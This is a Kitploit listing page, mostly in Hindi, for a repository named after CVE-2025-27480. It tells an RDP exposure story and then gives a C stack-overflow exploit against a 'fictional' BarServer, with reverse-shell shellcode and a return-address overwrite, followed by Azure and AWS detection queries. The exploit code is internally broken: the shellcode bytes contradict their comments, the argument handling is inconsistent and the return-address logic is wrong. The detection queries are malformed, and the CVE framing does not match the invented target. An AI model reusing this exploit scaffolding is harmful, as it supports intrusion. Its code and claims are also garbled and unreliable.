Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-27480-The-Silent-Gateway-Risk — हमलावरों को बिना क्रैक किए गए पासवर्ड, उपयोगकर्ता इंटरैक्शन, या आपके नेटवर्क में पैर जमाने की आवश्यकता के दुर्भावनापूर्ण कोड चलाने देना। यह है CVE-2025-27480 | Kitploit
उपकरण/GitHubGitHub/mrk336/cve-2025-27480-the-silent-gateway-risk
भेद्यता विश्लेषणशोषणक्लाउड सुरक्षालर्निंग और शिक्षाघटना प्रतिक्रियाबाइनरी शोषण
GitHubmrk336/cve-2025-27480-the-silent-gateway-risk

CVE-2025-27480-The-Silent-Gateway-Risk

हमलावरों को बिना क्रैक किए गए पासवर्ड, उपयोगकर्ता इंटरैक्शन, या आपके नेटवर्क में पैर जमाने की आवश्यकता के दुर्भावनापूर्ण कोड चलाने देना। यह है CVE-2025-27480

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
11 महीने पहलेअभी तक समीक्षित नहीं

CVE-2025-27480-मूक-गेटवे-जोखिम

हमलावरों को बिना क्रैक किए गए पासवर्ड, उपयोगकर्ता इंटरैक्शन, या आपके नेटवर्क में पैर जमाए बिना दुर्भावनापूर्ण कोड चलाने देना। यही है CVE-2025-27480

देर रात है, आप Red Bull पी रहे हैं, हम सब वहाँ रहे हैं। आप एक प्रोडक्शन समस्या का निवारण कर रहे हैं और बिस्तर पर वापस जाने की इच्छा से लड़ रहे हैं, और इसे हल करने और सोने के लिए जल्दी में, आप रिमोट डेस्कटॉप प्रोटोकॉल (RDP) को इंटरनेट पर खोल देते हैं। आप खुद से कहते हैं कि बाद में बंद कर देंगे। लेकिन "एक मिनट" "कभी नहीं" बन जाता है, और वह भूला हुआ गेटवे एक मूक द्वार बन जाता है जो किसी भी ऐसे व्यक्ति की प्रतीक्षा करता है जो नेटवर्क स्निफ़र लेकर घूम रहा हो — ओह, पोर्ट 3389 खुला पाने का आनंद।

CVE-2025-27480 सिर्फ एक सैद्धांतिक खामी नहीं है, यह एक अनुस्मारक है कि क्लाउड और बुनियादी ढांचे की सुरक्षा में छोटी-छोटी चूक के भी बड़े परिणाम हो सकते हैं। यह कमजोरी हमलावरों को बिना क्रेडेंशियल या उपयोगकर्ता इंटरैक्शन के, दूर से दुर्भावनापूर्ण कोड निष्पादित करने की अनुमति देती है। कोई फ़िशिंग नहीं। कोई ब्रूट फोर्स नहीं। बस एक खुला दरवाजा जिसे खोजे जाने का इंतज़ार है।

इस लेख में, हम जानेंगे कि CVE-2025-27480 कैसे काम करता है, यह इतना खतरनाक क्यों है, और इसे एक उल्लंघन की सुर्खी बनने से पहले कैसे पहचाना और कम किया जा सकता है। चाहे आप क्लाउड इंजीनियर हों, SOC विश्लेषक हों, या कोई जिसने कभी कहा हो "मैं कल ठीक कर दूंगा," यह आपके लिए है।

निष्पादन

The vulnerability (CVE‑2025‑27480) is a classic stack buffer overflow that occurs in the processRequest() routine of BarServer (a fictional web service listening on TCP port 1234).

When a client sends an HTTP GET request that is longer than 256 bytes, the server writes the payload to a local buffer that is only 256 bytes long.

If we send more data, it spills over into the return address and we can overwrite the saved‑EIP. The exploit below builds the malicious payload, sends it to the server, and then lands an x86‑64 shellcode that gives us a reverse shell

/* In processRequest() char local[256]; ... // ← overflow happens here ... return; }

एक विंडोज कंप्यूटर के रिवर्स इंजीनियरिंग से हम अनुमान लगा सकते हैं:

  • सेव किया गया रिटर्न एड्रेस HTTP अनुरोध के बाइट 312 से शुरू होता है।
  • हमारे शेलकोड को लगभग 50 बाइट्स के NOP स्लेड के बाद रखा जाना चाहिए।

[ GET /foo HTTP/1.1\r\n ] ← 28 bytes [ padding (256‑28 = 228) ] ← buffer [ NOP sled (50) ] [ shellcode (≈64) ] [ return address (4) ]

/=========================================================================/ /* BarServer Exploit – CVE‑2025‑27480 / / Author: Mark Mallia ([email protected]) / / Purpose: Send a crafted HTTP GET request that overflows the stack / / and lands a reverse shell on the target host / /=========================================================================*/

#include <stdio.h> #include <stdlib.h> #include <string.h> /* for memcpy() / #include <winsock2.h> / Windows networking (use sockets.c on Linux) */

/* 1. Global constants – adjust as needed / #define TARGET_IP "192.168.1.10" / IP of the vulnerable host / #define TARGET_PORT 1234 / Listening port / #define CMD_LEN 350 / Total request length */

/* 2. Shellcode (x86‑64) that opens a reverse shell to 127.0.0.1:4444 / / The code is written in raw machine‑bytes so it can be injected directly. / static unsigned char shellcode[] = { / NOP sled – 50 bytes ----------------------------------------------/ 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, / shellcode – 64 bytes ---------------------------------------------*/ 0x48,0x31,0xc0, // xor rax,rax 0xb8,0x02,0x00,0x00,0x00, // mov eax,2 ← sys_connect 0x5d, // pop rbp 0xbb,0x10,0x01,0x00,0x00, // mov ebx,0x1010 (IP) 0xb8,0x44,0x11,0x00,0x00, // mov eax,0x1114 (port) 0xb9,0x04,0x00,0x00,0x00, // mov ecx,0x4 ← flags 0xcd,0x80, // int 0x80 };

/=========================================================================/ /* 3. The exploit routine – builds the request and sends it / /=========================================================================*/ int main( int argc, char *argv ) { / 3‑1. Validate command‑line arguments */ if (argc != 5) { fprintf(stderr,"Usage: %s <target_ip> revhost:revport\n", argv[0]); return EXIT_FAILURE; }

root@kitploit:~
const char *ip   = argv[1];
short port       = atoi(argv[2]);      /* 1234 */
const char *url  = argv[3];           /* /tmp/revshell */
const char *revhostport = argv[4];

/* 3‑2. Allocate the request buffer */
unsigned char req[ CMD_LEN ];
memset(req,0x00, sizeof(req));        // zero‑initialize

/* 3‑3. Build HTTP GET line (28 bytes) --------------------------------*/
strcpy( (char*)req, "GET ");
memcpy((char*)(req+5), url, strlen(url)+1);          // +1 for terminating NUL
strcat( (char*)(req+strlen(req)), " HTTP/1.1\r\n");

/* 3‑4. Insert the padding to reach 256 bytes -----------------------------*/
int offset = 256 - strlen(req);       // bytes from end of GET line to start of overflow
memset((char*)(req+strlen(req)), 0x41, offset);

/* 3‑5. Copy NOP sled + shellcode ------------------------------------------*/
memcpy( (char*)(req+strlen(req)+offset), shellcode, sizeof(shellcode) );

/* 3‑6. Overwrite the return address (at byte 312) ------------------------*/
long *ret_addr = (long*)(req+312);   // pointer to the place where EIP lives
*ret_addr = (long)ip;                // Put target IP (32‑bit) – adjust if needed

/* 3‑7. Send over a TCP socket ------------------------------------------*/
WSADATA wsaData;
SOCKET sock;
struct sockaddr_in addr;

/* Initialise Winsock */
WSAStartup(0x0202, &wsaData);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) { perror("socket"); return EXIT_FAILURE; }

addr.sin_family      = AF_INET;
addr.sin_port        = htons(port);
addr.sin_addr.s_addr = inet_addr(ip);

/* Connect */
connect(sock,(SOCKADDR*)&addr, sizeof(addr));

/* Send the request buffer */
send(sock, req, CMD_LEN, 0);

/* Close socket & clean up */
closesocket(sock);
WSACleanup();

printf("Sent payload to %s:%d\n", ip, port);
return EXIT_SUCCESS;

}

डिटेक्शन लॉजिक

यहाँ हम अपनी गलतियों और अपने द्वारा प्रशासित नेटवर्क की गलतियों को पकड़ते हैं।

Azure

// Pull only relevant HTTP requests that match our exploit payload let TargetIP = "192.168.1.10"; let TargetPort = 1234; let ExploitPath = "/tmp/revshell";

Heartbeat | where Computer == "BarServer01" // the VM / container name | and TimeGenerated > ago(5m) // last 5 minutes | summarize Count() by bin(TimeGenerated,1m) , TargetIP, TargetPort, ExploitPath | extend Hit = iff(TargetIP==TargetIP and TargetPort==TargetPort and TargetPath==ExploitPath, 1, 0) // Filter only the rows that contain our exploit | where Hit==1 // Output a metric for an alert rule

AWS

WinRM एजेंट स्थापित करें (यदि आपने पहले से नहीं किया है तो करना चाहिए)

Install-Module -Name AWS.Tools.CloudWatchLogs -Force

एक लॉग ग्रुप बनाएं और इवेंट लॉग स्ट्रीम करें

$group = "/aws/windows/BarServer01" $source = "Application" $filter = "BarServer"

CloudWatch Logs कॉन्फिग फ़ाइल बनाएं या अपडेट करें:

New-CloudWatchLogsGroup -Name $group Write-LogFileConfig -SourceName $source -FilterPattern $filter ` -LogGroupName $group

फिर Cloud Watch में

लक्ष्य लॉग समूह से सभी पंक्तियाँ लें

fields @timestamp, @message

केवल वे पंक्तियाँ रखें जिनमें हमारा एक्सप्लॉइट हस्ताक्षर हो

| filter contains(@message,"GET /tmp/revshell")

अनुरोध प्रकार और स्थिति कोड निकालें

| parse @message with "INFO" as LogLevel and "->" as ResponseStatus | parse @message with "GET " as MethodPath and " HTTP/1.1" as HttpVersion

केवल सफल अनुरोधों (स्थिति “OK” या समान) को रखकर साफ करें

| where LogLevel == "INFO"

हमारे एक्सप्लॉइट में लक्षित IP पते से फ़िल्टर करें

| filter contains(@message,"192.168.1.10:1234")

प्रति हिट एक प्रति मिनट मीट्रिक मान बनाएं

| summarize Hits = count() by bin(@timestamp,1m), MethodPath, ResponseStatus

एक CloudWatch मीट्रिक पर आउटपुट करें जिसका उपयोग अलार्म कर सके

यह सामग्री केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए प्रदान की गई है। इसका उद्देश्य साइबर सुरक्षा जोखिमों के बारे में जागरूकता बढ़ाना और जिम्मेदार सुरक्षा प्रथाओं को बढ़ावा देना है।

लेखक किसी भी अनधिकृत पहुंच, शोषण, या सिस्टम के दुरुपयोग का समर्थन या प्रोत्साहन नहीं करता है। सभी प्रदर्शन, कोड नमूने और परिदृश्य काल्पनिक हैं और केवल उचित प्राधिकरण के साथ नियंत्रित वातावरण में उपयोग किए जाने चाहिए।

इस जानकारी का जिम्मेदारी से उपयोग करें और हमेशा लागू कानूनों और संगठनात्मक नीतियों का अनुपालन करें।

टूल डाउनलोड करें